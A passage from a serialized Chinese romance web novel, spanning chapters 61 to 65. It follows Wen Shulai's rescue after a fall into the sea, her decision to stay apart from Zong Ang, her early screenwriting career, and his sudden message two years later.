她还想说什么,埃琳娜没耐心听他们二人情意绵绵,夺过保镖手里的手机挂断,又扔回去。 她揪起一撮宗昂的卷毛,催促道:“快点。” 宗昂挥开她的脏手,屈立的那条腿缓慢下压。 膝盖即将触底,他眼尾一闪,身体快于大脑,极速朝坠落的温纾莱跑去。 埃琳娜跟着看去,大惊失色地捂住嘴:“怎么回事?!” 她不是糊弄温纾莱,她是任性妄为,但也是真的不违法乱纪,尤其在她爸批评完她之后她更没胆子闹出人命。 埃琳娜急忙回拨给岸桥上的保镖,甫一接听就大声呵斥:“你怎么看的人!她怎么会掉下去!” 保镖趴在岸桥边,想抓没抓住的那只手下垂着,嗫喏道:“绳子松了……” 埃琳娜怒骂:“你是蠢猪吗!她要是出个什么意外就都算在你头上!” 骂完,手机摔扔在地上四分五裂。 …… …… 岸桥就在埃琳娜避荫的集装箱正上方,可温纾莱下坠得太快,宗昂又带着伤,行动不如以往敏捷,堪堪错过她。 手指仅碰到温纾莱的一片裙角,宗昂半秒钟都不做犹豫地跳下去找她。 接连两道“噗通”落水声,海面泛起点点涟漪又重归平静。 埃琳娜扑到码头边,甩给最近的保镖一巴掌:“愣着干什么!救人啊!” 她碎碎叨叨着:“我得赶紧订机票出国避难,我爸会打死我的。” 第62章 第 62 章 “给他成长的空间,他的…… 那是一个兵荒马乱的午后。 被太阳炙烤过后坠入海中, 冰凉的寒意顷刻卷走所有炽热,耳膜鼓胀,鼻腔酸涩。 温纾莱在闭眼前的最后一秒, 看到的是拼命向她游来的宗昂。 …… …… 意识清醒时是个夜晚。 入眼先是一片惨淡的白, 空气中弥漫着淡淡的消毒水味道。 温纾莱想抬手遮挡屋顶的灯光, 肌肉一阵酸痛,只得偏过脑袋避开。 病房窗户外是浓稠的夜色。 守在床边的一个女人见她醒来, 倾身探前, 嘴角挂着一抹公式化的微笑:“你醒啦,有没有哪里不舒服?” 女人留着一头干练的短发,欧洲人特有的高鼻梁深眼窝, 一身职业装, 比起埃琳娜, 她的中文发音堪称地道。 哪里都不舒服, 但温纾莱先问:“宗……昂呢?” 她缺水缺过头, 嗓子干涩, 声音嘶哑得像是破锣。 “他在另一间病房,还没醒。”女人简短的表明身份:“我叫贝拉,是宗昂母亲的助理。” 温纾莱不由支坐起来:“他很严重吗?” 坠海前,在岸桥上看到的那一幕幕画面一窝蜂涌入脑海, 染血的白T、跌倒在地的宗昂。 温纾莱后怕的心惊肉跳。 贝拉说:“很严重, 左臂骨折, 肋骨断了三根戳破了肺部, 还有些擦伤, 不过他已经脱离危险了,你放心。” 外国人不懂含蓄的那一套,宗昂病症贝拉就这么一五一十地告知温纾莱。 温纾莱掀开被子, 她身体机能还未达到健康状态,脚一踩地,腿发软地往下跌去。 她撑住床,贝拉也忙不迭扶住她。 “你才刚醒,别乱动。”贝拉作势要把她抱回床上。 “我要去找他。”温纾莱躺不下去,她反握住贝拉,像抓住救命稻草,“他在哪个病房?” 温纾莱也是个犟的,贝拉好说歹说都劝不住,莉娅并无交代不许温纾莱见宗昂,是医生嘱咐她要卧床静养。 虽然温纾莱没有宗昂那样明显的皮外伤,但她被吊在高空一个多小时又摔进海里,多少会收到冲击。 贝拉无奈之下只好去服务台找护士借了把轮椅,带着温纾莱去宗昂的病房。 这家私人医院是EG旗下的产业之一,为保障病人休养期间的绝对安静,VIP病房一层只有两套,宗昂就在她隔壁。 停在里间门外,贝拉轻扣两下门,听到里面传来一道批准,又绕回轮椅后面推温纾莱进去。 病房的布置与温纾莱那里的一致,各类检测仪器堆满病床头,宗昂合眼平躺在床上,露在被子外的一条手臂打着石膏弯曲在胸前,另一只手平放在身侧在吊水。 温纾莱的心神都凝于病床上的宗昂,完全没注意到病房里还有其他人在。 这时,贝拉的一句抱歉响在她头顶。 “她非要来看Leone,我拦不住。” 病床斜对面的沙发上站起来一个女人,她拥有一张完美无缺的脸蛋,个子高挑,一身黑色系职业装包裹着她凹凸有致的身材,气质优雅又不失凌厉。 一双灰蓝色的眼眸与宗昂是一个模子里刻出来的相似。 温纾莱的视线随着她的走近越抬越高,一时忘记言语,震惊于她的美貌。 莉娅在她面前半弯下腰,怜爱地揉揉她的头发:“很漂亮的小姑娘,难怪Leone会为你要死要活。” 她身上的味道也很好闻,清新又特别的一种味道,温纾莱辨不出那是什么香气,很有记忆点就是。 同样的话,温纾莱听埃琳娜讲,只品出奚落,而现下听莉娅说,她不禁脸热。 “阿姨您好。”温纾莱苍白的脸颊浮出几分血色,她自报家门:“我是温纾莱。” “我知道你,Leone去年三月份回来就跟我提过你。”莉娅从贝拉手中接过轮椅,推她向病床边去。 贝拉知趣的退出病房。 轻轻一声“咔嗒”,病房门带上,温纾莱也来到病床边,莉娅固定好她的轮椅,拂裙坐在床边的另一把椅子上。 “Leone对你做的那些事情我都了解了,很抱歉,他让你伤心了。”莉娅中文讲得也很好,当年为追宗穆川特意聘请的中文老师学习,这么多年过去,爱情已经烟消云散,倒是多了个技能。 “没关系。” 这句没关系不是指温纾莱原谅了宗昂。冤有头债有主,宗昂做错的事情无需别人替他道歉,温纾莱也受不起一个长辈的致歉。 莉娅一眼看透温纾莱的所思所想,这个单纯可爱的小姑娘在她面前就是个透明人。 “我这么说听起来很像在为他辩解,但事实确是他第一次谈恋爱,难免不知轻重,我和他爸爸又没有给他树立一个正确的爱情观。” “Leone长相随我性格也随我,从小又由我带大,我的一些行事风格在一定程度上影响了他,导致他不会正常的表达喜欢,这是我的问题也是他的问题,我的道歉你不必觉得受之有愧。” 她的语重心长更加令温纾莱不知所措,张了张嘴,不知道该说什么,她只摇摇头,问出她最关心的事情:“他什么时候能醒过来?” 莉娅说:“医生预测大最晚后天会醒。” 温纾莱又点点头。 “所以你要想离开,现在就是最合适的时机。”莉娅话锋一转,“当然,有我在这里,就是等Leone醒来你再走我也不会让他再闹出任何脾气。” 她挽过碎发,食指上的宝石戒指在白炽灯的照射下散发着幽幽光芒,“不过到那时,效果会大打折扣。” 或许是温纾莱刚醒来,脑子不太活络不太够用,莉娅的话她听得一知半解。 瞧着她布满迷茫的小脸,莉娅笑笑:“据我所知,你在一个多月前就跟他提过分手,怎么现在被他救过一次就要反悔了吗?” 这一下午的惊心动魄,宗昂的奋不顾身,温纾莱被受触动。 她还未来得及细想自己究竟有没有动摇,一醒来就急着见他,确认他的安全,这会儿被莉娅提醒,她又不敢深思。 “我还是那句话,你不必觉得愧疚,且不论你是他的女朋友他救你是天经地义,就说没有他,你也不会平白挨这一遭。” 莉娅是非黑白看得分明,她也护短,也非帮理不帮亲的大义之人,只是不忍心看这对小情侣的爱情深陷困境,她身为一个过来人想要指点一二而已,说白了,她还是在帮她儿子。 当年她和宗穆川的结局是她毕生的遗憾,可以的话,莉娅不希望宗昂走她的老路,她希望宗昂能有个幸福的结局。 “你如果很喜欢Leone,想和他有以后,这次就不要改变主意,你这次原谅了Leone,他会抓住这一点,等到下次他犯错后受个伤就觉得能蒙混过关,到那时你再纠正就很晚了,那时你们再分手就真的不会再有转圜的余地了。” 莉娅头头是道传授给温纾莱教训男人的方法:“打蛇打七寸,治他你就要让他一次长够记性。” 温纾莱云里雾里地听着,同时内心也在思虑审视。 审视她自己,审视宗昂,再审视他们这段不对等的感情。 她是喜欢宗昂的,很喜欢很喜欢,她的精力有限,只有喜欢他才会分给他那么多的情绪,为他的欺骗而愤怒,也为他的付出而感动。 宗昂的品性是很拙劣,但他带给她的很多东西和体验都是人生第一次,她永远都会铭记于心。 也正是喜欢,她才揉不得一点沙子,要和宗昂齐肩平视。 因为在她的爱情观里,平等和尊重是重中之重,她早在无意中就在用她的爱情观来约束这段恋情。 余泽帆强迫她,她只觉得余泽帆有毛病,宗昂强迫她,她会难过会悲凉。 “还有郑茹,我想Leone应该没有全都告诉你。”莉娅解开最终谜底:“郑茹流掉的那个孩子不是Leone的,恐怕就连她自己也不知道孩子的父亲是谁,她回到学校的前一晚自愿参加了一场派对,磕了药。” “她对Leone有一种特殊的执念,她知道自己怀孕后约Leone见面,想借此逼迫Leone接受她否则就对外宣扬说是Leone始乱终弃,抛弃亲子。”莉娅轻蔑嗤笑:“这种幼稚的舆论威胁。” 温纾莱问:“那孩子是怎么掉的?” “郑茹约见Leone的地点在一处河边,她情绪激动失足落水,那个孩子本就怀得不正当,也很不稳定。” 莉娅喂她吃一颗定心丸:“Leone很聪明,他怕沾上一身腥,见面的时候胸口别有微型摄像,录下了全过程,视频验证过了不是作假,还有DNA比对,这些在警局都有备案,等下我调出一份发给你。” “他不说全是怕你不信他,毕竟我那时都怀疑过他。” 莉娅话落,病房内静谧下来,心电监护仪发出平稳的信号声响。 温纾莱扣着手,纤长的睫毛垂掩,斟酌过后的答案盘旋在嘴边。 莉娅再一次摸摸她柔软的发丝:“你们现在不适合再在一起,说实话我也不支持,Leone马上要开学,异国恋不好坚持,而且我这边还有很多事要他去做,他不能分心,不如彼此自由一段时间,你离开之后可以发展新恋情不需要等他,如果他也喜欢上别人,那么你们两个就是没有缘分,早断晚断都是一样的结果。” “但我的儿子我敢保证,你给他成长的空间,他的改变会让你惊喜。” 第63章 第 63 章 交给缘分 温纾莱又在医院休养了两天, 得到医生的批准后就走了。 莉娅安排了专机送她回国,随行的还有一名女医生,叫薇洛, 以防她身体出现什么意外状况。 走之前她和莉娅互换了联系方式, 莉娅说宗昂醒来后会第一时间告诉她。 温纾莱不知道她这次的选择是对是错, 但莉娅说得对。 假如不是因为宗昂,她本不必遭受这一劫难, 她不能因为宗昂为她不要命就一笔勾销他带给过她的那些伤害。 她在感动的作用之下抹平那些恩怨, 等到这份感动散去,她还是会委屈、会不平衡,根本原因得不到解决, 她和宗昂就会一直在死胡同里打转。 最后闹到面目全非。 就让彼此都冷静一段时间吧。 至于冷静多久、冷静过后还会不会再回到彼此身边, 就交给缘分来定夺。 顺其自然。 温纾莱高中的时候看过一部动漫电影, 里面有句台词:不要预设和别人共度一生, 就自然地相处, 命运把你们带到哪里就到哪里。 那就让命运来决定他们这一段感情句号的终点会落在哪里- 回国后, 温纾莱订了家酒店,在酒店住了两天,待整个人的精神面貌都复原再回家。 薇洛这两天都跟随着温纾莱,就住在隔壁房间, 开房的钱温纾莱想出, 但薇洛拒不接受。 她这一趟算作出差, 费用莉娅全包, 要是莉娅得知她让一个小姑娘给她花钱, 落地米兰的那一秒钟她就会被炒鱿鱼。 那温纾莱也很不好意思,她最是不喜欢麻烦别人,薇洛原本的任务是护送她平安回家, 是她临时要在酒店多待两天,耽误了薇洛的行程。 薇洛见她过意不去,便托她给自己出一份旅游攻略。 “我第一次来中国,还是首都,等你回家后我要多玩两天再回去,反正是公费。” 温纾莱一口应好。 温纾莱挺宅的,来北京上学后,大一大二的课比较多,休息日她不是忙着做作业就是想方设法兼职赚钱,很少出去玩,是在和宗昂恋爱后,他总会见缝插针地带她逛这儿逛那儿,丰富她的课余生活。 温纾莱一边给薇洛制定出游计划一边被动回忆了一番她和宗昂相识以来的点点滴滴。 有些在当下那时很细微、甚至她觉得转头就会忘的芝麻小事,这会儿都无比清晰地浮现。 温纾莱退房那天上午,薇洛带她去医院做了个全身体检,然后逐份检查完她的体检报告,确保她的各项体征都回到正常标准。 艰巨任务顺利完成,薇洛笑说:“我可以回去复命啦。” 温纾莱从包里掏出一张折成手掌大小的地图:“这个给你,攻略我发到你手机上了。”她沉吟着补充:“如果你需要的话,我也可以当你的导游。” 薇洛都已经忘记自己的随口一提,错愕地翻看着手机里收到的那份文字配图齐全,出行路线都规划出至少三条的详细攻略。 这个中国女孩子真是认真的可爱。 她身上有一种特质,是令人不由自主想要靠近的舒适。 “导游就不必了,你快回家和你的家人团聚吧。”薇洛抱了抱她:“谢谢你宝贝,等你下次来米兰,我请你吃全意大利最好吃的冰激凌。” “好。” 虽然温纾莱并不确定她还会不会去米兰。 挥别薇洛,温纾莱打车回温屿年的公寓。 时隔半个月再回到熟悉的地方,温纾莱有种隔世之感。 她站在家楼下,仰着脑袋望着家里的那面落地窗,迟迟没有上去。 “滴——” 一道车鸣笛声打断她的游离。 温纾莱寻声回看,温屿年的那辆保姆车停在她半米外。 车门拉开,温屿年下车走过来:“看什么呢,出门旅游半个月家门都不认得了?” “你怎么回来了?”温纾莱问:“不是在拍戏吗?” 宗穆川导演的《黑白》在她期末考试前就正式开机,为冲五月份的戛纳电影节,今年的春节温屿年都得在剧组度过。 “回来拍个杂志封面,正好回家拿点东西,晚上就回剧组了。”温屿年接过她手里的行李箱,“上去啊,在底下傻站着是想冻成冰棍去参加异形冰雕大赛?” 温屿年出道以来勤勤恳恳拍戏工作,不炒绯闻不立人设,但却是粉丝公认的嘴毒。 偏他自己还不觉得,只是实话实说。 “哥,你真的。”温纾莱无语:“闭嘴吧,好吗。” 温屿年云淡风轻地回:“那我真闭嘴了你不要缠着我说话。” 温屿年不似温纾莱的后天压制,他从小就少言寡语,每次温纾莱被爸爸妈妈带着去舅舅舅妈家做客,温纾莱的癖好就是撬开温屿年的嘴,把他弄烦了她就开心了。 温纾莱还郁闷着,温屿年这接二连三的打岔,她那点坏心情也就散掉大半。 兄妹俩进楼,温纾莱问怎么不见阿咻哥和玥玥姐。 温屿年刷卡按电梯,“他俩一个忙着带新人一个偷闲去见男朋友了。” 阿咻这次没跟着温屿年,温屿年不是单独一人和GN签约,是连着他的团队一起,阿咻和玥玥也都一并过去。 玥玥还仍是温屿年一个人的助理,但GN也不是慈善机构,阿咻的能力摆在那里,只带温屿年一个人太浪费,又划分到他手底下两名新人,阿咻近日在盯着新人工作。 电梯到达楼层,门开,温屿年提了下行李箱过门槛,“你这箱子里装了什么,这么沉。” “给你们带的礼物。” 礼物都是莉娅准备的,她说做戏做全套,既然是出来旅游就断没有空着手回去的道理,询问过她家人朋友们的喜好,便让贝拉去置办。 温纾莱没道明是谁买的礼物,但温屿年猜一准儿是宗昂的手笔,那小子惯会拍他们家的马屁。 他对礼物的兴趣一般,马燕珍和温广宏都很满意他们收到的礼物。 马燕珍的礼物是一套珠宝和几个莉娅搞来的汤料配方,温广宏的礼物是一台便携式的理疗仪,他的腿每到阴雨天就针扎一样疼痛难忍,市面上那些耳熟能详的理疗仪这些年温纾莱和温屿年兄妹俩也买过不少,效果都不大。 莉娅送的这一台理疗仪是那家私人医院自主研发的产品,温广宏拆箱后就照灯试了试,有点管用。 其实礼物都是其次,重要的是这份心意。 马燕珍问宗昂怎么没一起回来,温纾莱在回程的飞机上就料到这一问题,面不改色给出备好的回答:“他家里那边有点事急着去处理,就没跟我一块。” 再等等。 等到差不多开学,她再公布他们分手的消息。 理由她已然编好——异国恋难维系。 一家四口吃了顿团圆晚饭,温屿年就赶去机场回剧组拍戏了。 温纾莱回家的第二天,收到莉娅凌晨时分发来的消息,告诉她宗昂醒了。 醒来后有没有找她、说过什么,莉娅没说,温纾莱也没问。 没过几天就是除夕。 又是一年辞旧迎新。 寒假剩下的半个月,温纾莱白天就去店里帮忙,晚上看看电影、找找兼职,做着自己的事情,过着自己的日子。 生活放佛回到不认识宗昂前的平静。 她渴望已久,当真的拥有又有些惆怅的平静。 时间就这么在指缝中悄无声息地流逝,大三下学期开学后过半个月,温纾莱在温屿年回家的一次饭桌上,提了她和宗昂分手的事情。 其他三人都愣了一下,温屿年最快接受,“哦”了一声表示知道,然后把盘子里剩下的最后一块柠檬鸡翅夹到她碗里。 马燕珍和温广宏颇觉可惜,在他们眼中宗昂这个孩子真是没得挑,家世、相貌、品行都是一等一的好。 可分了就是分了,马燕珍的心态也不似之前在筑城老家那样——催着温纾莱找个好人家嫁出去。恰逢温纾莱开学那阵忙,饭都没顾上吃几顿,整个人肉眼可见的瘦两圈,马燕珍当她是失恋伤心,宽慰她说好男孩有的是,不急于一时,先忙学业,还天天叫她回家变着花样给她做好吃的。 大三下半年他们的课就更少了,有些人开始忙着找实习的剧组,有些人更早的未雨绸缪,在准备着考研。 温纾莱参与改编,陈俊源指导的那部网剧也投入平台播放。钱都花在服化道上,划给宣传部分的钱就得相应减少,幸好反响不错,上线九天,猫眼全网热度破六千万。 网上自发宣传的各路博主大V也越来越多。 人脉都是一步步积累起来的,大四上学期期末,陈俊源给温纾莱牵线,将她送进了一个朋友的剧组。 有陈俊源做担保,这次跟的剧组也蛮好,唯一的不足就是资方塞进来的女二太蛮横。 下水戏怕冷不拍,打斗戏怕毁容要替身,台词背不下来就喊一二三四五,有好几次还指点温纾莱说她构思的剧情不合理,按她的要求改掉。 一次两次温纾莱念在她是剧组最大金主的小情儿,惹不起,便忍气吞声,四次五次她愈发蹬鼻子上脸,再改下去这部剧拍出来就是送去提名金扫帚奖的了。 换做以前,遇到这种情况温纾莱只会自己默默请辞,可和宗昂恋爱的那一年,他滋养给她的那些底气,和潜移默化中她在宗昂那里吸取来的些许强势,都让她吞不下这口窝囊气。 于是,在女二又一次来颐指气使的时候,她跟女二吵起来了。 说吵也不太准确,是她单方面怼得女二哑口无言。 还把女二怼哭了。 剧组里没人怪她,还纷纷为她叫好,但也为她忧心,那可是背后有金主撑腰的刁蛮公主。 女二进组后就被众人捧着,哪里受过这种羞辱,当晚就叫了金主过来为她讨说法。 好巧不巧,金主温纾莱见过——是宗霖。 见到温纾莱,宗霖也挺出乎意料,他拿下嘴里叼着的烟,上下扫量温纾莱一圈,风牛马不相及地问:“听说你和宗昂分手了,谁甩的谁?” 温纾莱对他没什么好感,冷漠道:“跟你无关。” “嘿哟,脾气还挺大。”宗霖流氓一个:“要不要跟我?他能给你的我也能给。” 温纾莱扭头就走。 “诶诶诶,开个玩笑你至于吗。”宗霖虚拦住她:“说说吧,怎么回事儿啊?” 温纾莱不信他不知情,脚步不停:“孙知婉不都告诉你了吗。” 孙知婉就是那个女二。 “那我也得听听你怎么说啊,不然宗昂不得杀了我。” 温纾莱止步。 宗霖弹弹烟灰:“不能白让宗昂叫我一声哥,以后有什么事尽管找我。” 第64章 第 64 章 时隔两年,宗昂第一次找…… 宗霖说, 几个月前宗昂破天荒主动给他打了一次电话,拜托他多看顾着点温纾莱。 比起莉娅那边的勾心斗角,宗昂父亲这边的家庭氛围能称得上和谐。 他爷爷一共有两个儿子, 大儿子是宗霖的爸爸, 继承家业打理公司, 小儿子就是宗穆川,不爱铜臭, 热衷于艺术创作, 兄弟两个分工明确。 上一代兄友弟恭,到宗昂这一辈就急转直下。 宗昂和宗霖没什么深仇大恨,仅有的隔阂就是小时候打过的那一架。 莉娅和宗穆川在宗昂八岁那年正式离婚, 在此之前他们已经分居过四年, 宗穆川常年泡在剧组, 他们分居后宗昂理所当然跟着莉娅住, 和宗霖这个堂哥见面次数自然而然就减少。 不常见就不懂该怎样相处。 宗霖也是蛮可怜的一个人, 他妈生他时难产去世, 他爸深爱他妈也没再娶,他又是家里第一个孩子,万千宠爱于一身,成长过程中缺乏“母亲”这一角色的指引, 周围围绕的都是五大三粗的男人, 隔辈的爷爷只宠不教, 他爸和叔叔宗穆川都不常在家, 拿钱办事的月嫂保姆更是不敢违逆他。 于是, 宗霖便在这样溺爱的环境中长大。 在他的观念里,所有人都得顺从他。 当宗穆川从剧组回来把宗昂接回老宅住,宗霖看上这个弟弟的玩具想要弟弟却不给时, 他就生气了。 这世上哪里还有他想要却得不到的东西? 抢夺间一时失了分寸,打伤宗昂的眼睛。 谁能想到那小子下手那么狠,力气那么大,能把他鼻子揍断。 真要追究起来,是他先撩者贱,先动的手。 他常听幼儿园小跟班吐槽说家里有了弟弟妹妹后,父母都不大关注他们了,他也怕长辈们偏心小的,故意哭得很大声,抢在宗昂前诉苦告状。 大概是宗昂很少在家里住,长辈们同宗昂的亲缘不如他亲厚,他成了被偏爱的那一方,宗穆川因此对宗昂失望, 宗昂便也彻底厌上了他。 宗霖是内疚的,但他这人向来不会说对不起,他也最烦宗昂每次见他那种睥睨不屑的眼神,衬得他好像一只阴沟里胆小的老鼠。 每次见面,宗霖都控制不住地去招惹宗昂。 好似宗昂越讨厌他,他的内疚就能相应减少一点。 兄弟俩的梁子就这样随着年岁日积月累。 接到宗昂的电话,是在半夜。 宗霖睡前忘设置成静音,刷着刷着手机就睡着,铃声在他耳边震响的那一秒他快要灵魂出窍了都。 陌生来电没有备注,他接起就是一顿大骂。 等他骂完,宗昂才出声。 他们兄弟两个血脉相连,却连对方的手机号码都没有储存。 听完宗昂阐明来意,求到他头上,宗霖别提有多爽,拿乔的话才讲到一半,就听宗昂叫他一声“哥”。 那是闹矛盾这么多年来,宗昂第一次喊他哥。 宗霖后半宿一整个大失眠,天亮后算好他那边的时差,确定是半夜,他回了宗昂一个电话说这个忙他帮,记得欠他一个人情。 宗昂叮嘱过宗霖,要他别跟温纾莱提这码事,她不喜欢亏欠别人。 宗霖就不。 他就说。 用着他家的资源还不图回报,凭什么?装什么深情人设呢。 他家又不是搞慈善的,要他护温纾莱,可以,她这人必须得跟他家、跟他那个赔钱货的弟弟锁死。 分手了又不是不能再和好。 真不能再重圆,那就让温纾莱自己来还这份恩情,他可不做亏本买卖。 事情传达到位,宗霖指尖那根烟也燃到尽头,他掐灭在垃圾桶里,说:“剧本你就按你的意思来,甭听孙知婉放屁,她一走后门的懂个球。” 宗霖和宗昂可不一样,他是个纨绔浪荡子,换女人跟换衣服似的,孙知婉只是他万千花丛中的一朵,温纾莱是他暂且归为的家人,孰轻孰重他分得清。 第二天,孙知婉就被踢出剧组,她的角色换了其他演员来替。 明面上没人说,私下里都在传温纾莱的后台更硬。 温纾莱斯和善归和善,却从不八卦谁的隐私,大家也不好去八卦她。 导演也好奇,去问了陈俊源。娱乐圈这个地方,最紧要的就是管住嘴,温纾莱自己不说,陈俊源也不多嘴,只隐晦地提点好友,温纾莱是个吉祥物,有她在万事不愁。 导演听劝,回剧组后温纾莱说什么是什么,就差将她供起来。 导演的神经兮兮,温纾莱受宠若惊,她猜到导演是在陈俊源那里打听到了什么,找上陈俊源让他别胡说八道。 两个就此聊了几句。 陈俊源:「也不是胡说八道啊,你看我雪藏复出后第一部作品有你坐镇,多顺利。」 「我下部剧也有想法了,等你回北京咱俩见一面,谈谈再合作的事儿呗。」 温纾莱和陈俊源也算是相辅相成的关系了,一个初出茅庐一个深陷低谷,都想要做出一番成绩,这个组合干什么都不会差。 文殊莱莱:「好。」 正事聊完,陈俊源就想聊点旁的。 「你和宗昂是不是分手了?我看你朋友圈都没他的身影了。」 他猜到了,但还想要个肯定。 他们这一对,他是真情实感磕过现场的。 已经有很长时间没有人跟她提宗昂这个名字了。 分手后老死不相往来似乎是大家心照不宣的不成文规定,身旁的人也都会对前任避之不及。 孔佳茉更为夸张,她都不允许孔佳良出现在她面前,怕孔佳良挂着“宗昂好哥们”的这个身份会勾起她不好的回忆。 温纾莱真没那么小心眼。 她和宗昂的分手算不上和平,但也绝不属于反目成仇那一类。 温纾莱的视线凝结在“宗昂”这两个字上片刻,打字:「对啊。」 「都快分了一年了。」 这一年里他们二人没有任何联系,她发的朋友圈点赞列表里始终没有宗昂的头像。 他是否还保留着她的好友、是否还用着那个微信,都是未知。 温纾莱也没有去验证过。 她经常会恍惚,乃至怀疑。 怀疑宗昂是否存在过,怀疑她和宗昂的那段恋爱是她的臆想。 自和宗昂在前年产生第一次交集,后面她所经历的很多都超出她一个普通人该有的平淡生活。 尤其是闹分手的那几天。 被他软/禁,又被绑架、坠海。 都恍若一场梦, 要不是今天陈俊源提到宗昂,她的不切实际感还会日益加重。 可是陈俊源也就提了这么一次,再往后,宗昂的名字又被尘封起来,再无人讲起。 冬去春来,夏又至。 一年又一年这样过着,温纾莱也从青涩懵懂的大一新生蜕变成大四学姐。 大四上半学期她们宿舍四人就各奔东西的忙着,下半学期更是全程没见过面,拍毕业照那天,是全班人聚集最齐的一天。 毕业的伤感在那一天最为浓厚。 学士帽扔上天的那一刻,温纾莱站在第一排仰头望去,耀眼又刺目的阳光下,是一张张欢悦的笑脸。 她感到有人在偷看她,四处游看一圈,并无异常。 在学校忙完回去,家楼下站着一个外卖员,对方把手机贴到耳边,她包里的手机应景响起。 她接通,听筒里外卖员的声音与现实重合:“请问是温小姐吗?” 温纾莱上前:“你好,我是。” 外卖员一怔,而后将怀里的一束香槟玫瑰递给她:“您好,您的外卖。” 温纾莱想说她没有订过花,可正面朝她的那张卡片上龙飞凤舞的写着一行字。 祝,毕业快乐。 没有署名。 但她知道是谁。 …… …… 拍完毕业照的第二天,温纾莱去了趟宗穆川的工作室。 签约。 宗穆川的助理很早就给她发了邮件,问她有没有意向加入他们。 如果是两年前的温纾莱能收到偶像的邀请,她会高兴得一蹦三尺高,现今的温纾莱会回复说再考虑考虑。 是宗穆川亲自致电,让她不要因为一个男人、一段过去的感情就放弃前途里的大好机会。 也是,过去的就让它停留在过去,不能困住她的现在及未来。 入职宗穆川工作室后温纾莱接到的第一个工作任务就是参与《巷口》的拍摄制作。 就是最初宗昂给她下套掉她上钩,让她编写剧本的那部电影。 这部电影于她而言有着非同一般的意义,温纾莱打起十二万分的精神。 无论男人还是女人,专注工作的样子都迷人又有魅力。 何况温纾莱长得本就漂亮,专业能力强,又被宗穆川着重培养,还不拿腔拿调,跟谁都轻声慢语的。 久而久之,被有心人盯上也不意外。 饰演电影男二的那个演员就对温纾莱有点好感,颇为殷勤。 他比温纾莱小两岁,面对姐姐,就是一个纯粹的热烈大男孩。 他追求温纾莱都是用那些耳熟能详的策略,今日送奶茶明日送蛋糕后日送鲜花,会绞尽脑汁找话题跟她聊天,说话时还会脸红。 奶茶蛋糕鲜花温纾莱都不缺。她没有瞧不起对方,只是这些东西她都拥有过顶级,再回首看,就差点意思。 那个男孩对温纾莱示好示的剧组人尽皆知,在杀青宴那晚,他依然正儿八经地表了白。 众人皆打趣起哄,不知是谁先起的头,包厢里响起整齐划一的“答应他”。 宗穆川坐在主位,也带着几分笑意。 在前男友父亲面前被另一个异性表白,别人怎么样温纾莱不得而知,她心理承受力挺好的。 她可是都能和前男友父亲淡定共事的人。 仔细想想,她每一次性格的蜕变和进步或多或少都与宗昂有关。 在其他男生和她表白的现场,她不合时宜地想起前男友。 温纾莱还不打算开启一段新恋情,回过神后拒绝了他的喜欢。 男孩的失落显而易见,但他没气馁,表明还会追她,直到她同意。 怕再被她拒绝,表完决心他就跑了。 包厢里一众人也齐齐一叹。 温纾莱失笑。 回到剧组在酒店开的房间,温纾莱手机震动了一下。 身边人知道她跟组忙,有急事都会打电话。发消息是闲聊,温纾莱不急着看,先去浴室洗澡。 晚上吃的烤肉加火锅,浑身都是碳火味。 洗完出来是一个小时后,她拿着吹风机坐到床边,边吹着头发边点开微信。 一心二用。 等待了一会儿,消息列表刷新出全部未读,排在最顶端第一位的头像,是一个戴着墨镜耍酷的阿拉斯加犬。 熟悉又陌生。 温纾莱动作一顿,僵在那里。 时隔两年,宗昂第一次找她。 第65章 第 65 章 两年不见,杳无音讯…… 不是文字消息, 宗昂发来的是一个pdf文件。 温纾莱点开,映入眼帘的就是张佑成和一个女生拥吻的照片。 张佑成便是今晚跟她表白的那个男二。 再往下滑,几乎全部都是类似的照片, 区别就是照片上的男主角都是同一个, 而女主角在不断变换。 翻了两三页, 温纾莱明白了。 这是一份张佑成情感经历的简介,且制作很潦草, 照片有大有小, 尺寸都不统一。 温纾莱回个问号过去。 她不懂宗昂搞这一出是要干什么。 “对方正在输入中”的字样显现在对话框顶部,“嗉”的一声,新消息刷新。 宗昂回:「他不适合你。」 「你要想谈恋爱, 还不如找韩子彦, 至少他不会渣你。」 说起韩子彦, 温纾莱这两年间跟他也保持着联系。 主要是因为白诗文。 在拍完陈俊源那部剧后, 白诗文就滚回澳洲读书了, 一年多前毕业回国。 孔佳茉那年的生日聚会晚上转场去酒吧, 温纾莱不大喜欢那种喧闹的地方,但好友的生日会她不会扫兴,跟着去玩,中途去厕所见到趴在吧台桌上孤身一人喝闷酒的白诗文。 在剧组的时候, 她们两个住一间屋子, 多少有点感情基础, 即便她出国读书后就渐渐断了联系, 温纾莱既见到她, 就不好不管她。 一个女生,在酒吧这种鱼龙混杂的地方是大写的不安全。 她走去跟白诗文打个招呼,白诗文见到她也蛮诧异。 两人同住那会儿, 白诗文就总是会跟她讲自己的私密事,小姑娘率真可爱,就是那样不闷在心里,喜欢倾诉的性格。 她问了句怎么了,白诗文就扁着嘴哭嚎说自己失恋了。 无需温纾莱再接着问,白诗文便倒豆子一样,将她暗恋张俊源,到追求,再被拒的全过程和盘托出。 难怪在剧组时白诗文常捧着个本子在她和张俊源身边打转,问东问西,温纾莱还当她好学,原来只是个幌子。 她也是个掩护体。 白诗文说:“他说他就是一个穷逼导演,配不上我,他没钱怎么了,我有钱就好了呀!” 温纾莱听后久久失语。 温纾莱闲来无事最爱干的事就是揣摩自己和他人的内心,就像分析电影那样,通过一个人的表情、语言分析他真正想表达的含义。 这是很有趣的一个活动。 张俊源其实可以直说“我不喜欢你”,他却采取另一种说法,也是对白诗文有些暧昧不清。 白诗文刚毕业不谙世事,张俊源已经步入社会见过人情冷暖,他有所顾虑,无法像白诗文那样随心所欲很正常。 横亘在他们之间的东西太多,金钱、家世、社会地位。 还有一颗年轻不稳定,不知何时会腻烦的玩心。 就如她和宗昂。 总之,自酒吧重逢后白诗文和她重拾旧情,她常被白诗文约着逛街,每当这时候,韩子彦多半会沦为她们的专职司机。 也是多接触后,温纾莱才知道白诗文是韩子彦的表妹。 韩子彦知恩图报,林斌当年救他一命他铭记于心,但恩人不在,他只好翻倍补偿给温纾莱。 只要有温纾莱参与的剧作就会有他的投资。 因为林斌接下的善缘,因为宗昂的托付,又有宗穆川的提携,温纾莱毕业工作后的这两年可谓是顺风顺水。 她的生活就如一潭死水毫无波折,宗昂的诈尸是丢进水面的一粒石子。 温纾莱恼火不已。 「你监视没完了是吗?」 宗昂秒回:「不是。」 “对方正在输入中”的字样再次飘现,继而又消失,如此反复两次后,温纾莱的手机持续翁振。 